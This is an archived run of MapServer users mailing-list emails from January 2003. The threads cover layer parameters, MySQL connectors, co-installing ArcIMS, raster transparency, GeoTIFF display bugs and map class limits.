------=_NextPart_000_0037_01C2C7AF.97A23730-- _______________________________________________________________________ Busca Yahoo! O servi?o de busca mais completo da Internet. O que voc? pensar o Yahoo! encontra. http://br.busca.yahoo.com/ From pnduarte at mail.telepac.pt Wed Jan 29 10:06:19 2003 From: pnduarte at mail.telepac.pt (Pedro Duarte) Date: Wed, 29 Jan 2003 18:06:19 -0000 Subject: [Mapserver-users] Parameter References: <002301c2c7bf$89520510$cb75e7c8@afxtd2002311172> Message-ID: <001a01c2c7c1$203d0280$464da8c0@long> This is a multi-part message in MIME format. ------=_NextPart_000_0017_01C2C7C1.1F915930 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable You can use status default to enble the layer without passing the = parameter ----- Original Message -----=20 From: Jo=E3o Paulo M. Claro=20 To: mapserver-users at lists.gis.umn.edu=20 Sent: Wednesday, January 29, 2003 5:54 PM Subject: [Mapserver-users] Parameter Good afternoon All, I am with the following doubt: When I am passing the parametros for = mapserv saw URL, I am obliged to pass to layer them that I want to see = in the image, or it takes care of to status ON of my archive map? Jo=E3o Paulo ------=_NextPart_000_0017_01C2C7C1.1F915930 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
You can use status default to enble the = layer=20 without passing the parameter
----- Original Message -----
From:=20 Jo=E3o Paulo=20 M. Claro
To: mapserver-users at lists.g= is.umn.edu=20
Sent: Wednesday, January 29, = 2003 5:54=20 PM
Subject: [Mapserver-users]=20 Parameter

Good afternoon  All, I am with the following doubt: When I am passing = the=20 parametros for mapserv saw URL, I am obliged to pass to layer them = that I want=20 to see in the image, or it takes care of to status ON of my archive = map? Jo=E3o=20 Paulo
------=_NextPart_000_0017_01C2C7C1.1F915930-- From attila at prometheus.org.yu Wed Jan 29 10:36:57 2003 From: attila at prometheus.org.yu (Attila Csipa) Date: Wed, 29 Jan 2003 19:36:57 +0100 Subject: [Mapserver-users] MySQL In-Reply-To: <5.2.0.9.0.20030127075903.00b1bcf0@mail.GreenwoodMap.com> References: <3E34EF2A.5040006@ckff.si> <5.2.0.9.0.20030127075903.00b1bcf0@mail.GreenwoodMap.com> Message-ID: <200301291813.h0TIDm801119@tina2.tippnet.co.yu> On Monday 27 January 2003 16:00, Richard Greenwood wrote: > >When the postgis implementation on mysql will be available (not sure if > > that will be in 4.1) it will most probably be supported with mysql, so I > > was told. I personally have already written a non-spatial mysql > > connectiontype interface, but that got a lukewarm reception from the > > developers. > > I would be interested in hearing more about your non-spatial mysql > connector. Does it provide functionality similar to the dbf join? In its current state of my code joins can be used through the data statement, but it was of course not intended to be used that way so a 'regular' join support does not exist, but will most certainly be added in time. From attila at prometheus.org.yu Wed Jan 29 10:49:05 2003 From: attila at prometheus.org.yu (Attila Csipa) Date: Wed, 29 Jan 2003 19:49:05 +0100 Subject: [Mapserver-users] MySQL In-Reply-To: <3E369984.7020102@frw.uva.nl> References: <3E369984.7020102@frw.uva.nl> Message-ID: <200301291813.h0TIDv801151@tina2.tippnet.co.yu> On Tuesday 28 January 2003 15:53, Jan Hartmann wrote: > Yet even a non-GIS connection between MapServer and MySQL would offer > many advantages. Think about JOINS. These are being reintroduced into > 3.7, but only for DBF files. If this mechanism could be expanded to > MySQL (or PostgreSQL without PostGIS), a non-GIS enabled database could > be used alongside MapServer, although the maps would have to be regular > GIS files of course. Something like using TABLE and TO in the JOIN > object the same way as CONNECTION and DATA in the LAYER object. This > would make even the current version of MySQL very usable with MapServer. > Not sure how difficult this would be (not for 3.7 I'd imagine), but > certainly something to think of for the longer term. > How about it Steve, Attila? This is a little farther down the road, true, but I think it could be done. But first things first, I'd suggest a plain SF SQL connector for starters, and when that link is working we can think about expanding it this way too. From jpmclaro at yahoo.com.br Wed Jan 29 10:20:17 2003 From: jpmclaro at yahoo.com.br (=?iso-8859-1?Q?Jo=E3o_Paulo_M._Claro?=) Date: Wed, 29 Jan 2003 16:20:17 -0200 Subject: [Mapserver-users] Parameter References: <002301c2c7bf$89520510$cb75e7c8@afxtd2002311172> <001a01c2c7c1$203d0280$464da8c0@long> Message-ID: <005401c2c7c3$14d61600$cb75e7c8@afxtd2002311172> This is a multi-part message in MIME format. ------=_NextPart_000_0051_01C2C7B2.4FF3F790 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Pedro, My application possesss many layers, must pass the status of each one of = layers for default? In this in case that he is very slow. Mapserver does = not read par=E2mentro MINSIZE MAXSIZE to define when to layer must be = loaded? Tks, Jo=E3o Paulo Brasil ----- Original Message -----=20 From: Pedro Duarte=20 To: Jo=E3o Paulo M. Claro ; mapserver-users at lists.gis.umn.edu=20 Sent: Wednesday, January 29, 2003 4:06 PM Subject: Re: [Mapserver-users] Parameter You can use status default to enble the layer without passing the = parameter ----- Original Message -----=20 From: Jo=E3o Paulo M. Claro=20 To: mapserver-users at lists.gis.umn.edu=20 Sent: Wednesday, January 29, 2003 5:54 PM Subject: [Mapserver-users] Parameter Good afternoon All, I am with the following doubt: When I am passing the parametros for = mapserv saw URL, I am obliged to pass to layer them that I want to see = in the image, or it takes care of to status ON of my archive map? Jo=E3o Paulo ------=_NextPart_000_0051_01C2C7B2.4FF3F790 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Pedro,
 
My application possesss many layers, must pass the status of each = one of=20 layers for default? In this in case that he is very slow. Mapserver does = not=20 read par=E2mentro MINSIZE MAXSIZE to define when to layer must be = loaded?
 
Tks,
 
Jo=E3o Paulo
Brasil
----- Original Message -----
From:=20 Pedro=20 Duarte
To: Jo=E3o Paulo M. Claro ; mapserver-users at lists.g= is.umn.edu=20
Sent: Wednesday, January 29, = 2003 4:06=20 PM
Subject: Re: [Mapserver-users]=20 Parameter

You can use status default to enble = the layer=20 without passing the parameter
----- Original Message -----
From:=20 Jo=E3o=20 Paulo M. Claro
To: mapserver-users at lists.g= is.umn.edu=20
Sent: Wednesday, January 29, = 2003 5:54=20 PM
Subject: [Mapserver-users]=20 Parameter

Good afternoon  All, I am with the following doubt: When I am passing = the=20 parametros for mapserv saw URL, I am obliged to pass to layer them = that I=20 want to see in the image, or it takes care of to status ON of my = archive=20 map? Jo=E3o=20 Paulo
------=_NextPart_000_0051_01C2C7B2.4FF3F790-- _______________________________________________________________________ Busca Yahoo! O servi?o de busca mais completo da Internet. O que voc? pensar o Yahoo! encontra. http://br.busca.yahoo.com/ From jkrumrie at att.net Wed Jan 29 10:47:50 2003 From: jkrumrie at att.net (jkrumrie at att.net) Date: Wed, 29 Jan 2003 18:47:50 +0000 Subject: [Mapserver-users] MapServer and ArcIMS conflicts Message-ID: <20030129184750.MXHW5675.mtiwmhc11.worldnet.att.net@mtiwebc20> Hello, Are there any conflict issues to consider when installing ArcIMS on the same webserver (either Apache or IIS) as MapServer? Thanx. Jim From cpurvis at asgnet.psc.sc.edu Wed Jan 29 10:59:08 2003 From: cpurvis at asgnet.psc.sc.edu (Charlton Purvis) Date: Wed, 29 Jan 2003 13:59:08 -0500 Subject: [Mapserver-users] new post for MapScript RH7.3 installation Message-ID: Hi, folks: I have spent the last couple of days wrestling w/ installations, and I have submitted a new post to the MapServer Wiki (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PHPMapScriptRH73) for RedHat 7.3 aficionados. I certainly do not profess to be an expert, so if I have grossly mislead anyone, I apologize. The fundamental changes that I made to the original RH72 doc (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PHPMapScriptRH72) include: * installing GD-2.0.7 (w/ GIF) * a modification of two source files (./ext/gd/gd.c and ./ext/gd/gd_ctx.c), part of PHP 4 * a modification of the ./configure that is part of the PHP 4 build * a modification of the ./configure that is part of the MapServer build * addition of a new symbolic link for the MapServer build * modification of the GMAP demo .map file to provide a complete pathname for the FONTSET So there you have it. I believe that I've got a working system, and the installation of MapLab 2.0rc3 (http://www.dmsolutions.ca/techserv/maplab.html) was pretty painless (had to modify ./map file for the FONTSET again). What a wonderful suite of apps! I'm sure some of you wizards could explain why I hacked through some of the stuff the way I did. And I'd welcome it (so would the Wiki post, if you please), because I can't! Sorry if the cross-posting is inappropriate. It wouldn't be my first time. Good luck. ? ? ? Charlton Purvis (803) 777-4453 : voice (803) 777-8833 : fax cpurvis at sc.edu ? Advanced Solutions Group Department of Physics and Astronomy University of South Carolina Columbia, SC 29208 From morissette at dmsolutions.ca Wed Jan 29 11:48:33 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 29 Jan 2003 14:48:33 -0500 Subject: [Mapserver-users] MapServer and ArcIMS conflicts References: <20030129184750.MXHW5675.mtiwmhc11.worldnet.att.net@mtiwebc20> Message-ID: <3E383011.E393F24@dmsolutions.ca> jkrumrie at att.net wrote: > > Are there any conflict issues to consider when installing ArcIMS on the same > webserver (either Apache or IIS) as MapServer? Thanx. > Nope, I see no reason why both could not run on the same box and under the same web server. -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dlowther at ou.edu Wed Jan 29 11:58:51 2003 From: dlowther at ou.edu (Lowther, David W) Date: Wed, 29 Jan 2003 13:58:51 -0600 Subject: [Mapserver-users] 3.7 HTML Legend Colors Message-ID: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C2C7D0.D8722740 Content-Type: text/plain List, Still testing 3.7 version. I am using the HTML Legend and at time the colors of symbols in the legend do not match the colors on the map. Anybody else run into this or have any ideas? Thanks, Dave ------_=_NextPart_001_01C2C7D0.D8722740 Content-Type: text/html Content-Transfer-Encoding: quoted-printable 3.7 HTML Legend Colors

List,

Still testing 3.7 version. I am using = the HTML Legend and at time the colors of symbols in the legend do not = match the colors on the map. Anybody else run into this or have any = ideas?

Thanks,

Dave


------_=_NextPart_001_01C2C7D0.D8722740-- From ed at topozone.com Wed Jan 29 12:02:34 2003 From: ed at topozone.com (Ed McNierney) Date: Wed, 29 Jan 2003 15:02:34 -0500 Subject: [Mapserver-users] MapServer and ArcIMS conflicts Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3C0D@mercator.topozone.com> Jim - No, no problem at all. While ArcIMS has a bit more of a supporting infrastructure, MapServer is basically a CGI application (a single EXE file) that gets run by the Web server when a CGI request is encountered. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 Phone: (978) 251-4242 Fax: (978) 251-1396 ed at topozone.com -----Original Message----- From: jkrumrie at att.net [mailto:jkrumrie at att.net] Sent: Wednesday, January 29, 2003 1:48 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] MapServer and ArcIMS conflicts Hello, Are there any conflict issues to consider when installing ArcIMS on the same webserver (either Apache or IIS) as MapServer? Thanx. Jim _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From rjames57 at yahoo.com Wed Jan 29 12:48:17 2003 From: rjames57 at yahoo.com (randy james) Date: Wed, 29 Jan 2003 12:48:17 -0800 (PST) Subject: [Mapserver-users] Raster geotiff turns background yellow In-Reply-To: <3E36FA09.5050705@pobox.com> Message-ID: <20030129204817.97049.qmail@web12503.mail.yahoo.com> Hi Just for your info. Upgrading to 3.7 cleared up the problem. Thanks a lot Cheers Randy --- Frank Warmerdam wrote: > randy james wrote: > > Hi > > --- Ed McNierney wrote: > > > >>Randy - > >> > >>Can you describe exactly what you did differently > >>between those two images? > >> > > > > Well the difference is: > > the tif that does not work has: a 256 RGB, > > colorinterp=palette, is projected on the fly, and > is a > > newer version of an orthophoto. > > I have used tiff2bw and gdal_translate to make it > > grayscale, so i have a few versions of the file > (5), > > and all make the same error. > > Randy, > > I haven't been following this issue closely, but if > the problem occurs in > 3.7 and if you can prepare a small test case that > demonstrates the problem > just using "shp2img" then please file it in bugzilla > (attaching the small > sample map file and data file(s)) and assign to me. > > Best regards, > > -- > ---------------------------------------+-------------------------------------- > I set the clouds in motion - turn up | Frank > Warmerdam, warmerdam at pobox.com > light and sound - activate the windows | > http://pobox.com/~warmerdam > and watch the world go round - Rush | Geospatial > Programmer for Rent > > __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com From sgillies at frii.com Wed Jan 29 13:00:56 2003 From: sgillies at frii.com (Sean Gillies) Date: Wed, 29 Jan 2003 14:00:56 -0700 Subject: [Mapserver-users] why a segfault with mapserv but shp2img works fine? Message-ID: I've built mapserv and shp2img from a very recent CVS checkout. While testing, I've found that shp2img works fine with my map file. However, when testing mapserv from the shell using the REQUEST_METHOD and QUERY_STRING environmental variables (same map file), I get a segmentation fault. My map has a single raster layer, a GeoTIFF that I'm accessing with GDAL. Can anyone briefly summarize the differences in the way shp2img and mapserv work, and why the latter might be more prone to a segfault? thanks! Sean -- Sean Gillies sgillies at frii.com http://www.frii.com/~sgillies From wdavet2 at bellsouth.net Wed Jan 29 13:56:08 2003 From: wdavet2 at bellsouth.net (William Taylor) Date: Wed, 29 Jan 2003 16:56:08 -0500 Subject: [Mapserver-users] RE: CGI Interface Information Message-ID: <000701c2c7e1$3a9c3540$6001a8c0@homejsfoovenfe> This is a multi-part message in MIME format. ------=_NextPart_000_0008_01C2C7B7.51C62D40 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit I have been doing research on Mapserver and I am mainly interested in the CGI program interface modes and variables. I haven't been able to find a definative guide that explains the required parameters for each map mode. For example how do I know what variables are required after specifying something like ..mode=querymap.. Can anyone point me in the right direction for this? W. David Taylor ------=_NextPart_000_0008_01C2C7B7.51C62D40 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

I have been doing research on Mapserver and I am = mainly interested in the CGI program interface modes and variables.  I = haven’t been able to find a definative guide that explains the required = parameters for each map mode. 

 

For example how do I know what variables are required = after specifying something like ..mode=3Dquerymap..

 

Can anyone point me in the right direction for = this?

 

W. David Taylor

------=_NextPart_000_0008_01C2C7B7.51C62D40-- From rjames57 at yahoo.com Wed Jan 29 14:00:02 2003 From: rjames57 at yahoo.com (randy james) Date: Wed, 29 Jan 2003 14:00:02 -0800 (PST) Subject: [Mapserver-users] Raster geotiff turns background yellow In-Reply-To: <3E36FA09.5050705@pobox.com> Message-ID: <20030129220002.5560.qmail@web12505.mail.yahoo.com> Hi Upgrading to 3.7 solved the problem of the tiff image turning the background yellow, but caused another problem: Any vector layer that is loaded on top if the tiff image now turns gray. When i load the vectors after the tiff nothing changes color at least, but i cannot see the vector layers. Can Raster layers be transparent? Cheers Randy --- Frank Warmerdam wrote: > randy james wrote: > > Hi > > --- Ed McNierney wrote: > > > >>Randy - > >> > >>Can you describe exactly what you did differently > >>between those two images? > >> > > > > Well the difference is: > > the tif that does not work has: a 256 RGB, > > colorinterp=palette, is projected on the fly, and > is a > > newer version of an orthophoto. > > I have used tiff2bw and gdal_translate to make it > > grayscale, so i have a few versions of the file > (5), > > and all make the same error. > > Randy, > > I haven't been following this issue closely, but if > the problem occurs in > 3.7 and if you can prepare a small test case that > demonstrates the problem > just using "shp2img" then please file it in bugzilla > (attaching the small > sample map file and data file(s)) and assign to me. > > Best regards, > > -- > ---------------------------------------+-------------------------------------- > I set the clouds in motion - turn up | Frank > Warmerdam, warmerdam at pobox.com > light and sound - activate the windows | > http://pobox.com/~warmerdam > and watch the world go round - Rush | Geospatial > Programmer for Rent > > __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com From DMartin at erac.com Wed Jan 29 14:11:31 2003 From: DMartin at erac.com (Martin, Daniel) Date: Wed, 29 Jan 2003 16:11:31 -0600 Subject: [Mapserver-users] RE: CGI Interface Information Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035AADBD2F@STL-EXBE-I03.corp.erac.com> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------=_NextPartTM-000-527f4d2d-33d2-11d7-bb14-00508bcfdcc7 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C2C7E3.60F89484" ------_=_NextPart_001_01C2C7E3.60F89484 Content-Type: text/plain; charset="iso-8859-1" The closest thing to a definitive guide is at http://mapserver.gis.umn.edu/doc36/cgi-reference.html Most everything you need to know is there. For more advanced topics, this list (including the archives http://mapserver.gis.umn.edu/cgi-bin/wilma/mapserver-users ) and the wiki ( http://mapserver.gis.umn.edu/cgi-bin/wiki.pl ) are the best resources. When in doubt, just ask. -Dan -----Original Message----- From: William Taylor [mailto:wdavet2 at bellsouth.net] Sent: Wednesday, January 29, 2003 3:56 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] RE: CGI Interface Information I have been doing research on Mapserver and I am mainly interested in the CGI program interface modes and variables. I haven't been able to find a definative guide that explains the required parameters for each map mode. For example how do I know what variables are required after specifying something like ..mode=querymap.. Can anyone point me in the right direction for this? W. David Taylor ------_=_NextPart_001_01C2C7E3.60F89484 Content-Type: text/html; charset="iso-8859-1"
The closest thing to a definitive guide is at http://mapserver.gis.umn.edu/doc36/cgi-reference.html 
 
Most everything you need to know is there.  For more advanced topics, this list (including the archives http://mapserver.gis.umn.edu/cgi-bin/wilma/mapserver-users ) and the wiki ( http://mapserver.gis.umn.edu/cgi-bin/wiki.pl ) are the best resources.  When in doubt, just ask.
 
-Dan
-----Original Message-----
From: William Taylor [mailto:wdavet2 at bellsouth.net]
Sent: Wednesday, January 29, 2003 3:56 PM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] RE: CGI Interface Information

I have been doing research on Mapserver and I am mainly interested in the CGI program interface modes and variables.  I haven’t been able to find a definative guide that explains the required parameters for each map mode. 

 

For example how do I know what variables are required after specifying something like ..mode=querymap..

 

Can anyone point me in the right direction for this?

 

W. David Taylor

------_=_NextPart_001_01C2C7E3.60F89484-- ------=_NextPartTM-000-527f4d2d-33d2-11d7-bb14-00508bcfdcc7-- From chagwood at ci.garner.nc.us Wed Jan 29 14:15:01 2003 From: chagwood at ci.garner.nc.us (Chris Hagwood) Date: Wed, 29 Jan 2003 17:15:01 -0500 Subject: [Mapserver-users] Maximum Num of Features? Message-ID: <79C990C4127BEC41B9D4F06EDD009971066FEC@Garner4.TOG.CI.GARNER.NC.US> I have a layer (police zones) that I would like to make colored so that it each zone will stand out. When I try, it appears to choke mapserver. Here's the part from my .map file: LAYER NAME newzone TYPE Polygon STATUS off DATA newdist CLASS EXPRESSION '8300' COLOR 243 137 139 OUTLINECOLOR 0 0 0 END # CLASS CLASS EXPRESSION '8301' COLOR 123 254 205 OUTLINECOLOR 0 0 0 END # CLASS #REPEAT for each zone CLASS EXPRESSION '8412' COLOR 40 128 60 OUTLINECOLOR 0 0 0 END # CLASS END # LAYER From keon at nacse.org Wed Jan 29 14:21:41 2003 From: keon at nacse.org (Dylan Keon) Date: Wed, 29 Jan 2003 14:21:41 -0800 Subject: [Mapserver-users] Maximum Num of Features? References: <79C990C4127BEC41B9D4F06EDD009971066FEC@Garner4.TOG.CI.GARNER.NC.US> Message-ID: <3E3853F5.3010304@nacse.org> If you've defined more than 50 classes in that layer it will choke MapServer. You can change this by increasing the value assigned to MS_MAXCLASSES in map.h and recompiling MapServer. Chris Hagwood wrote: > I have a layer (police zones) that I would like to make colored so that it each zone will stand out. When I try, it appears to choke mapserver. > > Here's the part from my .map file: > LAYER > NAME newzone > TYPE Polygon > STATUS off > DATA newdist > > CLASS > EXPRESSION '8300' > COLOR 243 137 139 > OUTLINECOLOR 0 0 0 > END # CLASS > > CLASS > EXPRESSION '8301' > COLOR 123 254 205 > OUTLINECOLOR 0 0 0 > END # CLASS > > #REPEAT for each zone > > CLASS > EXPRESSION '8412' > COLOR 40 128 60 > OUTLINECOLOR 0 0 0 > END # CLASS > END # LAYER > From DMartin at erac.com Wed Jan 29 14:28:03 2003 From: DMartin at erac.com (Martin, Daniel) Date: Wed, 29 Jan 2003 16:28:03 -0600 Subject: [Mapserver-users] Maximum Num of Features? Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035A192BB4@STL-EXBE-I03.corp.erac.com> Hmm, I don't see a CLASSITEM declared in your layer. Try adding: CLASSITEM my-field-name to your LAYER object. There is a limit of 50 layers, unless you can recompile, but I don't think there is a CLASS limit. -Dan > -----Original Message----- > From: Chris Hagwood [mailto:chagwood at ci.garner.nc.us] > Sent: Wednesday, January 29, 2003 4:15 PM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Maximum Num of Features? > > > I have a layer (police zones) that I would like to make > colored so that it each zone will stand out. When I try, it > appears to choke mapserver. > > Here's the part from my .map file: > LAYER > NAME newzone > TYPE Polygon > STATUS off > DATA newdist > > CLASS > EXPRESSION '8300' > COLOR 243 137 139 > OUTLINECOLOR 0 0 0 > END # CLASS > > CLASS > EXPRESSION '8301' > COLOR 123 254 205 > OUTLINECOLOR 0 0 0 > END # CLASS > > #REPEAT for each zone > > CLASS > EXPRESSION '8412' > COLOR 40 128 60 > OUTLINECOLOR 0 0 0 > END # CLASS > END # LAYER > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From rjames57 at yahoo.com Wed Jan 29 14:50:03 2003 From: rjames57 at yahoo.com (randy james) Date: Wed, 29 Jan 2003 14:50:03 -0800 (PST) Subject: [Mapserver-users] Raster geotiff turns background yellow In-Reply-To: <20030129220002.5560.qmail@web12505.mail.yahoo.com> Message-ID: <20030129225003.13433.qmail@web12504.mail.yahoo.com> Hi To answer my own question: Rasters can be made transparent using the TRANSPARENCY (0-100) tag. I have tried with a raster layer loaded through tileindex, but not with loading a raster the normal way yet. But i would hope that at some point i will be able to load the orthophotos under the vectors without been transparent, rather than on top of the vectors and transparent. --- randy james wrote: > Hi > > Upgrading to 3.7 solved the problem of the tiff > image > turning the background yellow, but caused another > problem: > > Any vector layer that is loaded on top if the tiff > image now turns gray. When i load the vectors after > the tiff nothing changes color at least, but i > cannot > see the vector layers. > > Can Raster layers be transparent? > > Cheers > Randy > > > --- Frank Warmerdam wrote: > > randy james wrote: > > > Hi > > > --- Ed McNierney wrote: > > > > > >>Randy - > > >> > > >>Can you describe exactly what you did > differently > > >>between those two images? > > >> > > > > > > Well the difference is: > > > the tif that does not work has: a 256 RGB, > > > colorinterp=palette, is projected on the fly, > and > > is a > > > newer version of an orthophoto. > > > I have used tiff2bw and gdal_translate to make > it > > > grayscale, so i have a few versions of the file > > (5), > > > and all make the same error. > > > > Randy, > > > > I haven't been following this issue closely, but > if > > the problem occurs in > > 3.7 and if you can prepare a small test case that > > demonstrates the problem > > just using "shp2img" then please file it in > bugzilla > > (attaching the small > > sample map file and data file(s)) and assign to > me. > > > > Best regards, > > > > -- > > > ---------------------------------------+-------------------------------------- > > I set the clouds in motion - turn up | Frank > > Warmerdam, warmerdam at pobox.com > > light and sound - activate the windows | > > http://pobox.com/~warmerdam > > and watch the world go round - Rush | > Geospatial > > Programmer for Rent > > > > > > > __________________________________________________ > Do you Yahoo!? > Yahoo! Mail Plus - Powerful. Affordable. Sign up > now. > http://mailplus.yahoo.com > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com From Antti.Roppola at brs.gov.au Wed Jan 29 14:48:17 2003 From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au) Date: Thu, 30 Jan 2003 09:48:17 +1100 Subject: [Mapserver-users] Maximum Num of Features? Message-ID: <3E4215C93D3CE24D84A9FF385DF88D87144879@afeb-ms-02> Wouldn't that many colours also make it difficult to read for people with less than average colour perception? Geologists are able to to that many classes, but they also use stiples and other fill patterns. Antti -----Original Message----- From: Chris Hagwood [mailto:chagwood at ci.garner.nc.us] Sent: Thursday, 30 January 2003 9:15 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Maximum Num of Features? I have a layer (police zones) that I would like to make colored so that it each zone will stand out. When I try, it appears to choke mapserver. Here's the part from my .map file: LAYER NAME newzone TYPE Polygon STATUS off DATA newdist CLASS EXPRESSION '8300' COLOR 243 137 139 OUTLINECOLOR 0 0 0 END # CLASS CLASS EXPRESSION '8301' COLOR 123 254 205 OUTLINECOLOR 0 0 0 END # CLASS #REPEAT for each zone CLASS EXPRESSION '8412' COLOR 40 128 60 OUTLINECOLOR 0 0 0 END # CLASS END # LAYER _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From keon at nacse.org Wed Jan 29 15:13:32 2003 From: keon at nacse.org (Dylan Keon) Date: Wed, 29 Jan 2003 15:13:32 -0800 Subject: [Mapserver-users] Raster geotiff turns background yellow References: <20030129225003.13433.qmail@web12504.mail.yahoo.com> Message-ID: <3E38601C.9060008@nacse.org> Randy, what versions of GD and GDAL are you using? I believe there are issues with vector layers and the use of GD < 2.0.11 with MS 3.7. Since you're using MS 3.7 you should probably also be using GD 2.0.11 and GDAL 1.1.8. Yes, both tiled and single raster layers can be made transparent. There are also new ways to handle transparency and image output in 3.7, via use of the OUTPUTFORMAT object. Take a look at http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MigrationGuide for more info. randy james wrote: > Hi > > To answer my own question: Rasters can be made > transparent using the TRANSPARENCY (0-100) tag. > > I have tried with a raster layer loaded through > tileindex, but not with loading a raster the normal > way yet. > > But i would hope that at some point i will be able to > load the orthophotos under the vectors without been > transparent, rather than on top of the vectors and > transparent. > > > --- randy james wrote: > >>Hi >> >>Upgrading to 3.7 solved the problem of the tiff >>image >>turning the background yellow, but caused another >>problem: >> >>Any vector layer that is loaded on top if the tiff >>image now turns gray. When i load the vectors after >>the tiff nothing changes color at least, but i >>cannot >>see the vector layers. >> >>Can Raster layers be transparent? >> >>Cheers >>Randy >> >> >>--- Frank Warmerdam wrote: >> >>>randy james wrote: >>> >>>>Hi >>>>--- Ed McNierney wrote: >>>> >>>> >>>>>Randy - >>>>> >>>>>Can you describe exactly what you did >>>> >>differently >> >>>>>between those two images? >>>>> >>>> >>>>Well the difference is: >>>>the tif that does not work has: a 256 RGB, >>>>colorinterp=palette, is projected on the fly, >>> >>and >> >>>is a >>> >>>>newer version of an orthophoto. >>>>I have used tiff2bw and gdal_translate to make >>> >>it >> >>>>grayscale, so i have a few versions of the file >>> >>>(5), >>> >>>>and all make the same error. >>> >>>Randy, >>> >>>I haven't been following this issue closely, but >> >>if >> >>>the problem occurs in >>>3.7 and if you can prepare a small test case that >>>demonstrates the problem >>>just using "shp2img" then please file it in >> >>bugzilla >> >>>(attaching the small >>>sample map file and data file(s)) and assign to >> >>me. >> >>>Best regards, >>> >>>-- >>> >> > ---------------------------------------+-------------------------------------- > >>>I set the clouds in motion - turn up | Frank >>>Warmerdam, warmerdam at pobox.com >>>light and sound - activate the windows | >>>http://pobox.com/~warmerdam >>>and watch the world go round - Rush | >> >>Geospatial >> >>>Programmer for Rent >>> >>> >> >> >>__________________________________________________ >>Do you Yahoo!? >>Yahoo! Mail Plus - Powerful. Affordable. Sign up >>now. >>http://mailplus.yahoo.com >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >> > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > __________________________________________________ > Do you Yahoo!? > Yahoo! Mail Plus - Powerful. Affordable. Sign up now. > http://mailplus.yahoo.com > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- ************************************************ Dylan Keon GIS/Database Research Specialist Northwest Alliance for Computational Science and Engineering (NACSE) Oregon State University Corvallis, OR 97331 keon at nacse.org (541) 737-6608 ************************************************ From rjames57 at yahoo.com Wed Jan 29 15:38:39 2003 From: rjames57 at yahoo.com (randy james) Date: Wed, 29 Jan 2003 15:38:39 -0800 (PST) Subject: [Mapserver-users] Raster geotiff turns background yellow In-Reply-To: <3E38601C.9060008@nacse.org> Message-ID: <20030129233839.39876.qmail@web12503.mail.yahoo.com> Hi I'm not sure of which version of GD was compiled, i did not specify when i ran configure. I have 2.0.1 and 1.8.4 installed. I'll try downloading the source of GD 2.0.11 and reconfigure, and compile with it tommorrow. I have GDAL 1.1.8 installed Randy --- Dylan Keon wrote: > Randy, what versions of GD and GDAL are you using? > I believe there are > issues with vector layers and the use of GD < 2.0.11 > with MS 3.7. Since > you're using MS 3.7 you should probably also be > using GD 2.0.11 and GDAL > 1.1.8. > > Yes, both tiled and single raster layers can be made > transparent. There > are also new ways to handle transparency and image > output in 3.7, via > use of the OUTPUTFORMAT object. Take a look at > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MigrationGuide > for more info. > > > > randy james wrote: > > Hi > > > > To answer my own question: Rasters can be made > > transparent using the TRANSPARENCY (0-100) tag. > > > > I have tried with a raster layer loaded through > > tileindex, but not with loading a raster the > normal > > way yet. > > > > But i would hope that at some point i will be able > to > > load the orthophotos under the vectors without > been > > transparent, rather than on top of the vectors and > > transparent. > > > > > > --- randy james wrote: > > > >>Hi > >> > >>Upgrading to 3.7 solved the problem of the tiff > >>image > >>turning the background yellow, but caused another > >>problem: > >> > >>Any vector layer that is loaded on top if the tiff > >>image now turns gray. When i load the vectors > after > >>the tiff nothing changes color at least, but i > >>cannot > >>see the vector layers. > >> > >>Can Raster layers be transparent? > >> > >>Cheers > >>Randy > >> > >> > >>--- Frank Warmerdam wrote: > >> > >>>randy james wrote: > >>> > >>>>Hi > >>>>--- Ed McNierney wrote: > >>>> 